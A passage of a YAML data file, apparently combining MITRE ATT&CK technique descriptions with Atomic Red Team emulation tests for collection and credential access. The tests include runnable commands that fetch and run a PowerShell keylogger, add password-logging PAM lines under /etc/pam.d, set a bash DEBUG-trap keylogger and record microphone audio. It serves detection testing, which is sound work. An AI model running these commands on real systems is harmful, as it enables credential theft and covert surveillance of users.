        Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)

        For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens ([Steal Application Access Token](https://attack.mitre.org/techniques/T1528)) and session cookies ([Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)).(Citation: volexity_0day_sophos_FW)(Citation: Token tactics) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)

        Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_contributors:
      - Mayuresh Dani, Qualys
      - Daniil Yugoslavskiy, @yugoslavskiy, Atomic Threat Coverage project
      - NEC
      x_mitre_deprecated: false
      x_mitre_detection: Monitor network traffic for anomalies associated with known
        AiTM behavior. Consider monitoring for modifications to system configuration
        files involved in shaping network traffic flow.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      - Network
      x_mitre_version: '2.4'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Content'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Network Traffic: Network Traffic Flow'
      - 'Service: Service Creation'
      type: attack-pattern
      id: attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d
      created: '2020-02-11T19:07:12.114Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1557
        external_id: T1557
      - source_name: dns_changer_trojans
        description: Abendan, O. (2012, June 14). How DNS Changer Trojans Direct Users
          to Threats. Retrieved October 28, 2021.
        url: https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/125/how-dns-changer-trojans-direct-users-to-threats
      - source_name: volexity_0day_sophos_FW
        description: 'Adair, S., Lancaster, T., Volexity Threat Research. (2022, June
          15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious
          Breach. Retrieved July 1, 2022.'
        url: https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/
      - source_name: taxonomy_downgrade_att_tls
        description: Alashwali, E. S., Rasmussen, K. (2019, January 26). What's in
          a Downgrade? A Taxonomy of Downgrade Attacks in the TLS Protocol and Application
          Protocols Using TLS. Retrieved December 7, 2021.
        url: https://arxiv.org/abs/1809.05681
      - source_name: ad_blocker_with_miner
        description: Kuzmenko, A.. (2021, March 10). Ad blocker with miner included.
          Retrieved October 28, 2021.
        url: https://securelist.com/ad-blocker-with-miner-included/101105/
      - source_name: Token tactics
        description: 'Microsoft Incident Response. (2022, November 16). Token tactics:
          How to prevent, detect, and respond to cloud token theft. Retrieved December
          26, 2023.'
        url: https://www.microsoft.com/en-us/security/blog/2022/11/16/token-tactics-how-to-prevent-detect-and-respond-to-cloud-token-theft/
      - source_name: mitm_tls_downgrade_att
        description: praetorian Editorial Team. (2014, August 19). Man-in-the-Middle
          TLS Protocol Downgrade Attack. Retrieved December 8, 2021.
        url: https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/
      - source_name: Rapid7 MiTM Basics
        description: Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March
          2, 2020.
        url: https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/
      - source_name: tlseminar_downgrade_att
        description: Team Cinnamon. (2017, February 3). Downgrade Attacks. Retrieved
          December 9, 2021.
        url: https://tlseminar.github.io/downgrade-attacks/
      - source_name: ttint_rat
        description: 'Tu, L. Ma, Y. Ye, G. (2020, October 1). Ttint: An IoT Remote
          Access Trojan spread through 2 0-day vulnerabilities. Retrieved October
          28, 2021.'
        url: https://blog.netlab.360.com/ttint-an-iot-remote-control-trojan-spread-through-2-0-day-vulnerabilities/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1056.001:
    technique:
      modified: '2023-10-01T14:01:12.167Z'
      name: 'Input Capture: Keylogging'
      description: "Adversaries may log user keystrokes to intercept credentials as
        the user types them. Keylogging is likely to be used to acquire credentials
        for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003)
        efforts are not effective, and may require an adversary to intercept keystrokes
        on a system for a substantial period of time before credentials can be successfully
        captured. In order to increase the likelihood of capturing credentials quickly,
        an adversary may also perform actions such as clearing browser cookies to
        force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)\n\nKeylogging
        is the most prevalent type of input capture, with many different ways of intercepting
        keystrokes.(Citation: Adventures of a Keystroke) Some methods include:\n\n*
        Hooking API callbacks used for processing keystrokes. Unlike [Credential API
        Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely
        on API functions intended for processing keystroke data.\n* Reading raw keystroke
        data from the hardware buffer.\n* Windows Registry modifications.\n* Custom
        drivers.\n* [Modify System Image](https://attack.mitre.org/techniques/T1601)
        may provide adversaries with hooks into the operating system of network devices
        to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device
        Attacks) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - TruKno
      x_mitre_deprecated: false
      x_mitre_detection: 'Keyloggers may take many forms, possibly involving modification
        to the Registry and installation of a driver, setting a hook, or polling to
        intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`,
        and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry
        and file system for such changes, monitor driver installs, and look for common
        keylogging API calls. API calls alone are not an indicator of keylogging,
        but may provide behavioral data that is useful when combined with other information
        such as new files written to disk and unusual processes.'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      - Network
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Driver: Driver Load'
      - 'Process: OS API Execution'
      - 'Windows Registry: Windows Registry Key Modification'
      type: attack-pattern
      id: attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4
      created: '2020-02-11T18:58:11.791Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1056/001
        external_id: T1056.001
      - source_name: Talos Kimsuky Nov 2021
        description: An, J and Malhotra, A. (2021, November 10). North Korean attackers
          use malicious blogs to deliver malware to high-profile South Korean targets.
          Retrieved December 29, 2021.
        url: https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html
      - source_name: Cisco Blog Legacy Device Attacks
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
      - source_name: Adventures of a Keystroke
        description: 'Tinaztepe,  E. (n.d.). The Adventures of a Keystroke:  An in-depth
          look into keyloggers on Windows. Retrieved April 27, 2016.'
        url: http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1056.001
    atomic_tests:
    - name: Input Capture
      auto_generated_guid: d9b633ca-8efb-45e6-b838-70f595c6ae26
      description: |
        Utilize PowerShell and external resource to capture keystrokes
        [Payload](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056.001/src/Get-Keystrokes.ps1)
        Provided by [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1)

        Upon successful execution, Powershell will execute `Get-Keystrokes.ps1` and output to key.log.
      supported_platforms:
      - windows
      input_arguments:
        filepath:
          description: Name of the local file, include path.
          type: path
          default: "$env:TEMP\\key.log"
      dependencies:
      - description: 'Get-Keystrokes PowerShell script must exist on disk at PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -ItemType Directory (Split-Path "PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1") -Force | Out-Null
          Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1056.001/src/Get-Keystrokes.ps1 -OutFile "PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1"
      executor:
        command: '&"$PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1" -LogPath
          #{filepath}

          '
        cleanup_command: 'Remove-Item $env:TEMP\key.log -ErrorAction Ignore

          '
        name: powershell
        elevation_required: true
    - name: Living off the land Terminal Input Capture on Linux with pam.d
      auto_generated_guid: 9c6bdb34-a89f-4b90-acb1-5970614c711b
      description: "Pluggable Access Module, which is present on all modern Linux
        systems, generally contains a library called pam_tty_audit.so which logs all
        keystrokes for the selected users and sends it to audit.log.  All terminal
        activity on any new logins would then be archived and readable by an adversary
        with elevated privledges.\n\nPasswords hidden by the console can also be logged,
        with 'log_passwd' as in this example.  If root logging is enabled, then output
        from any process which is later started by root is also logged, even if this
        policy is carefully enabled (e.g. 'disable=*' as the initial command).\n\nUse
        'aureport --tty' or other audit.d reading tools to read the log output, which
        is binary.  Mac OS does not currently contain the pam_tty_audit.so library.
        \n"
      dependencies:
      - description: 'Checking if pam_tty_audit.so is installed

          '
        prereq_command: 'test -f ''/usr/lib/pam/pam_tty_audit.so -o  /usr/lib64/security/pam_tty_audit.so''

          '
        get_prereq_command: 'echo "Sorry, you must install module pam_tty_audit.so
          and recompile, for this test to work"

          '
      supported_platforms:
      - linux
      executor:
        command: |
          if sudo test -f /etc/pam.d/password-auth; then sudo cp /etc/pam.d/password-auth /tmp/password-auth.bk; fi;
          if sudo test -f /etc/pam.d/system-auth; then sudo cp /etc/pam.d/system-auth /tmp/system-auth.bk; fi;
          sudo touch /tmp/password-auth.bk
          sudo touch /tmp/system-auth.bk sudo echo "session    required    pam_tty_audit.so
          enable=* log_password" >> /etc/pam.d/password-auth sudo echo "session    required    pam_tty_audit.so
          enable=* log_password" >> /etc/pam.d/system-auth
        cleanup_command: |
          sudo cp -f /tmp/password-auth.bk /etc/pam.d/password-auth
          sudo cp -f /tmp/system-auth.bk /etc/pam.d/system-auth
        name: sh
        elevation_required: true
    - name: Logging bash history to syslog
      auto_generated_guid: 0e59d59d-3265-4d35-bebd-bf5c1ec40db5
      description: "There are several variables that can be set to control the appearance
        of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents
        of these variables are executed as if they had been typed on the command line.
        The PROMPT_COMMAND variable \"if set\" will be executed before the PS1 variable
        and can be configured to write the latest \"bash history\" entries to the
        syslog.\n\nTo gain persistence the command could be added to the users .bashrc
        or .bash_aliases or the systems default .bashrc in /etc/skel/ \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'This test requires to be run in a bash shell and that logger
          and tee are installed.

          '
        prereq_command: |
          if [ "$(echo $SHELL)" != "/bin/bash" ]; then echo -e "\n***** Bash not running! *****\n"; exit 1; fi
          if [ ! -x "$(command -v logger)" ]; then echo -e "\n***** logger NOT installed *****\n"; exit 1; fi
          if [ ! -x "$(command -v tee)" ]; then echo -e "\n***** tee NOT installed *****\n"; exit 1; fi
        get_prereq_command: 'echo ""

          '
      executor:
        name: sh
        elevation_required: true
        command: |
          PROMPT_COMMAND='history -a >(tee -a ~/.bash_history |logger -t "$USER[$$] $SSH_CONNECTION ")'
          echo "\$PROMPT_COMMAND=$PROMPT_COMMAND"
          tail /var/log/syslog
        cleanup_command: 'unset PROMPT_COMMAND

          '
    - name: Logging sh history to syslog/messages
      auto_generated_guid: b04284dc-3bd9-4840-8d21-61b8d31c99f2
      description: "There are several variables that can be set to control the appearance
        of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents
        of these variables are executed as if they had been typed on the command line.
        The PROMPT_COMMAND variable \"if set\" will be executed before the PS1 variable
        and can be configured to write the latest \"bash history\" entries to the
        syslog.\n\nTo gain persistence the command could be added to the users .shrc
        or .profile \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'This test requires to be run in a bash shell and that logger
          and tee are installed.

          '
        prereq_command: |
          if [ "$(echo $SHELL)" != "/bin/sh" ]; then echo -e "\n***** sh not running! *****\n"; exit 1; fi
          if [ ! -x "$(command -v logger)" ]; then echo -e "\n***** logger NOT installed *****\n"; exit 1; fi
        get_prereq_command: 'echo ""

          '
      executor:
        name: sh
        elevation_required: true
        command: |
          PS2=`logger -t "$USER" -f ~/.sh_history`
          $PS2
          tail /var/log/messages
        cleanup_command: 'unset PS2

          '
    - name: Bash session based keylogger
      auto_generated_guid: 7f85a946-a0ea-48aa-b6ac-8ff539278258
      description: "When a command is executed in bash, the BASH_COMMAND variable
        contains that command. For example :~$ echo $BASH_COMMAND = \"echo $BASH_COMMAND\".
        The trap command is not a external command, but a built-in function of bash
        and can be used in a script to run a bash function when some event occurs.
        trap will detect when the BASH_COMMAND variable value changes and then pipe
        that value into a file, creating a bash session based keylogger. \n\nTo gain
        persistence the command could be added to the users .bashrc or .bash_aliases
        or the systems default .bashrc in /etc/skel/ \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'This test requires to be run in a bash shell

          '
        prereq_command: 'if [ "$(echo $0)" != "bash" ]; then echo -e "\n***** Bash
          not running! *****\n"; exit 1; fi

          '
        get_prereq_command: 'echo ""

          '
      input_arguments:
        output_file:
          description: File to store captured commands
          type: string
          default: "/tmp/.keyboard.log"
      executor:
        name: bash
        elevation_required: false
        command: |
          trap 'echo "$(date +"%d/%m/%y %H:%M:%S.%s") $USER $BASH_COMMAND" >> #{output_file}' DEBUG
          echo "Hello World!"
          cat #{output_file}
        cleanup_command: 'rm #{output_file}

          '
    - name: SSHD PAM keylogger
      auto_generated_guid: 81d7d2ad-d644-4b6a-bea7-28ffe43becca
      description: 'Linux PAM (Pluggable Authentication Modules) is used in sshd authentication.
        The Linux audit tool auditd can use the pam_tty_audit module to enable auditing
        of TTY input and capture all keystrokes in a ssh session and place them in
        the /var/log/audit/audit.log file after the session closes.

        '
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'This test requires sshd and auditd

          '
        prereq_command: |
          if [ ! -x "$(command -v sshd)" ]; then echo -e "\n***** sshd NOT installed *****\n"; exit 1; fi
          if [ ! -x "$(command -v auditd)" ]; then echo -e "\n***** auditd NOT installed *****\n"; exit 1; fi
        get_prereq_command: 'echo ""

          '
      input_arguments:
        user_account:
          description: Basic ssh user account for testing.
          type: string
          default: ubuntu
      executor:
        name: sh
        elevation_required: true
        command: "cp -v /etc/pam.d/sshd /tmp/\necho \"session required pam_tty_audit.so
          disable=* enable=* open_only log_passwd\" >> /etc/pam.d/sshd\nsystemctl
          restart sshd\nsystemctl restart auditd\nssh #{user_account}@localhost \nwhoami\nsudo
          su\nwhoami\nexit\nexit\n"
        cleanup_command: 'cp -fv /tmp/sshd /etc/pam.d/

          '
    - name: Auditd keylogger
      auto_generated_guid: a668edb9-334e-48eb-8c2e-5413a40867af
      description: "The linux audit tool auditd can be used to capture 32 and 64 bit
        command execution and place the command in the /var/log/audit/audit.log audit
        log. \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'This test requires sshd and auditd

          '
        prereq_command: 'if [ ! -x "$(command -v auditd)" ]; then echo -e "\n*****
          auditd NOT installed *****\n"; exit 1; fi

          '
        get_prereq_command: 'echo ""

          '
      executor:
        name: sh
        elevation_required: true
        command: "auditctl -a always,exit -F arch=b64 -S execve -k CMDS \nauditctl
          -a always,exit -F arch=b32 -S execve -k CMDS\nwhoami; ausearch -i --start
          $(date +\"%d/%m/%y %H:%M:%S\") \n"
        cleanup_command: 'systemctl restart auditd

          '
    - name: MacOS Swift Keylogger
      auto_generated_guid: aee3a097-4c5c-4fff-bbd3-0a705867ae29
      description: |
        Utilizes a swift script to log keys to sout. It runs for 5 seconds then dumps the output to standard. Input Monitoring is required.
        Input Monitoring can be enabled in System Preferences > Security & Privacy > Privacy > Input Monitoring.
        Referece: https://cedowens.medium.com/taking-esf-for-a-nother-spin-6e1e6acd1b74
      supported_platforms:
      - macos
      input_arguments:
        swift_src:
          description: Location of swift script
          type: path
          default: PathToAtomicsFolder/T1056.001/src/MacOSKeylogger.swift
      dependency_executor_name: bash
      dependencies:
      - description: 'swift script must exist at #{swift_src}, and the terminal must
          have input monitoring permissions.

          '
        prereq_command: 'if [ -f #{swift_src} ]; then chmod +x #{swift_src}; else
          exit 1; fi

          '
        get_prereq_command: 'echo ""

          '
      executor:
        command: 'swift #{swift_src} -keylog

          '
        cleanup_command: 'kill `pgrep swift-frontend`

          '
        name: bash
        elevation_required: false
  T1602:
    technique:
      x_mitre_platforms:
      - Network
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74
      created: '2020-10-19T23:46:13.931Z'
      x_mitre_version: '1.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1602
        url: https://attack.mitre.org/techniques/T1602
      - source_name: Cisco Advisory SNMP v3 Authentication Vulnerabilities
        url: https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3
        description: Cisco. (2008, June 10). Identifying and Mitigating Exploitation
          of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October
          19, 2020.
      - source_name: US-CERT TA17-156A SNMP Abuse 2017
        url: https://us-cert.cisa.gov/ncas/alerts/TA17-156A
        description: US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved
          October 19, 2020.
      - source_name: US-CERT-TA18-106A
        url: https://www.us-cert.gov/ncas/alerts/TA18-106A
        description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored
          Cyber Actors Targeting Network Infrastructure Devices. Retrieved October
          19, 2020.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.

        Adversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Data from Configuration Repository
      x_mitre_detection: 'Identify network traffic sent or received by untrusted hosts
        or networks that solicits and obtains the configuration information of the
        queried device.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities)'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_is_subtechnique: false
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Connection Creation'
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1213.002:
    technique:
      x_mitre_platforms:
      - Windows
      - Office 365
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a
      type: attack-pattern
      created: '2020-02-14T13:35:32.938Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1213.002
        url: https://attack.mitre.org/techniques/T1213/002
      - url: https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2
        description: Microsoft. (2017, July 19). Configure audit settings for a site
          collection. Retrieved April 4, 2018.
        source_name: Microsoft SharePoint Logging
      modified: '2022-04-25T14:00:00.188Z'
      name: Sharepoint
      description: |
        Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:

        * Policies, procedures, and standards
        * Physical / logical network diagrams
        * System architecture diagrams
        * Technical system documentation
        * Testing / development credentials
        * Work / project schedules
        * Source code snippets
        * Links to network shares and other internal resources
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_detection: "The user access logging within Microsoft's SharePoint can
        be configured to report access to certain pages and documents. (Citation:
        Microsoft SharePoint Logging). As information repositories generally have
        a considerably large user base, detection of malicious use can be non-trivial.
        At minimum, access to information repositories performed by privileged users
        (for example, Active Directory Domain, Enterprise, or Schema Administrators)
        should be closely monitored and alerted upon, as these types of accounts should
        generally not be used to access information repositories. If the capability
        exists, it may be of value to monitor and alert on users that are retrieving
        and viewing a large number of documents and pages; this behavior may be indicative
        of programmatic means being used to retrieve all data within the repository.
        In environments with high-maturity, it may be possible to leverage User-Behavioral
        Analytics (UBA) platforms to detect and alert on user based anomalies. \n\n"
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Application Log: Application Log Content'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1123:
    technique:
      modified: '2024-01-23T22:53:18.389Z'
      name: Audio Capture
      description: |-
        An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.(Citation: ESET Attor Oct 2019)

        Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.

        Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      type: attack-pattern
      id: attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967
      created: '2017-05-31T21:31:34.528Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1123
        external_id: T1123
      - source_name: ESET Attor Oct 2019
        description: 'Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS:
          MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6,
          2020.'
        url: https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1123
    atomic_tests:
    - name: using device audio capture commandlet
      auto_generated_guid: 9c3ad250-b185-4444-b5a9-d69218a10c95
      description: "[AudioDeviceCmdlets](https://github.com/cdhunt/WindowsAudioDevice-Powershell-Cmdlet)\n"
      supported_platforms:
      - windows
      executor:
        command: 'powershell.exe -Command WindowsAudioDevice-Powershell-Cmdlet

          '
        name: powershell
    - name: Registry artefact when application use microphone
      auto_generated_guid: 7a21cce2-6ada-4f7c-afd9-e1e9c481e44a
      description: "[can-you-track-processes-accessing-the-camera-and-microphone](https://svch0st.medium.com/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072)\n"
      supported_platforms:
      - windows
      executor:
        command: |
          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\microphone\NonPackaged\C:#Windows#Temp#atomic.exe /v LastUsedTimeStart /t REG_BINARY /d a273b6f07104d601 /f
          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\microphone\NonPackaged\C:#Windows#Temp#atomic.exe /v LastUsedTimeStop /t REG_BINARY /d 96ef514b7204d601 /f
        cleanup_command: 'reg DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\microphone\NonPackaged\C:#Windows#Temp#atomic.exe
          /f

          '
        name: command_prompt
    - name: using Quicktime Player
      auto_generated_guid: c7a0bb71-70ce-4a53-b115-881f241b795b
      description: |
        Use AppleScript to get Quicktime Player to record an audio file from the default microphone.

        Should create a non-empty m4a file with sound from the microphone.

        - requires Automation permissions but no additional microphone permissions
        - saves file in /tmp by default. Other locations likely to require more permissions.
      supported_platforms:
      - macos
      input_arguments:
        filename:
          description: Location of the script
          type: path
          default: PathToAtomicsFolder/T1123/src/T1123.sh
        audiofile:
          description: Location of the recorded audio file
          type: path
          default: "/tmp/T1123.m4a"
        duration:
          description: Length of recording to make in seconds
          type: integer
          default: 5
      executor:
        command: 'sh #{filename} #{audiofile} #{duration}

          '
        cleanup_command: |
          if test -w #{audiofile}; then
            rm #{audiofile}
          fi
        name: sh
  T1560.003:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b
      type: attack-pattern
      created: '2020-02-20T21:09:55.995Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1560.003
        url: https://attack.mitre.org/techniques/T1560/003
      - url: http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf
        description: 'ESET. (2016, October). En Route with Sednit - Part 2: Observing
          the Comings and Goings. Retrieved November 21, 2016.'
        source_name: ESET Sednit Part 2
      modified: '2021-04-29T14:49:39.188Z'
      name: Archive via Custom Method
      description: 'An adversary may compress or encrypt data that is collected prior
        to exfiltration using a custom method. Adversaries may choose to use custom
        archival methods, such as encryption with XOR or stream ciphers implemented
        with no external library or utility references. Custom implementations of
        well-known compression algorithms have also been used.(Citation: ESET Sednit
        Part 2)'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_detection: Custom archival methods can be very difficult to detect,
        since many of them use standard programming language concepts, such as bitwise
        operations.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Script: Script Execution'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1114:
    technique:
      modified: '2023-09-29T21:06:03.098Z'
      name: Email Collection
      description: 'Adversaries may target user email to collect sensitive information.
        Emails may contain sensitive data, including trade secrets or personal information,
        that can prove valuable to adversaries. Adversaries can collect or forward
        email from mail servers or clients. '
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_contributors:
      - Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)
      x_mitre_deprecated: false
      x_mitre_detection: |-
        There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.

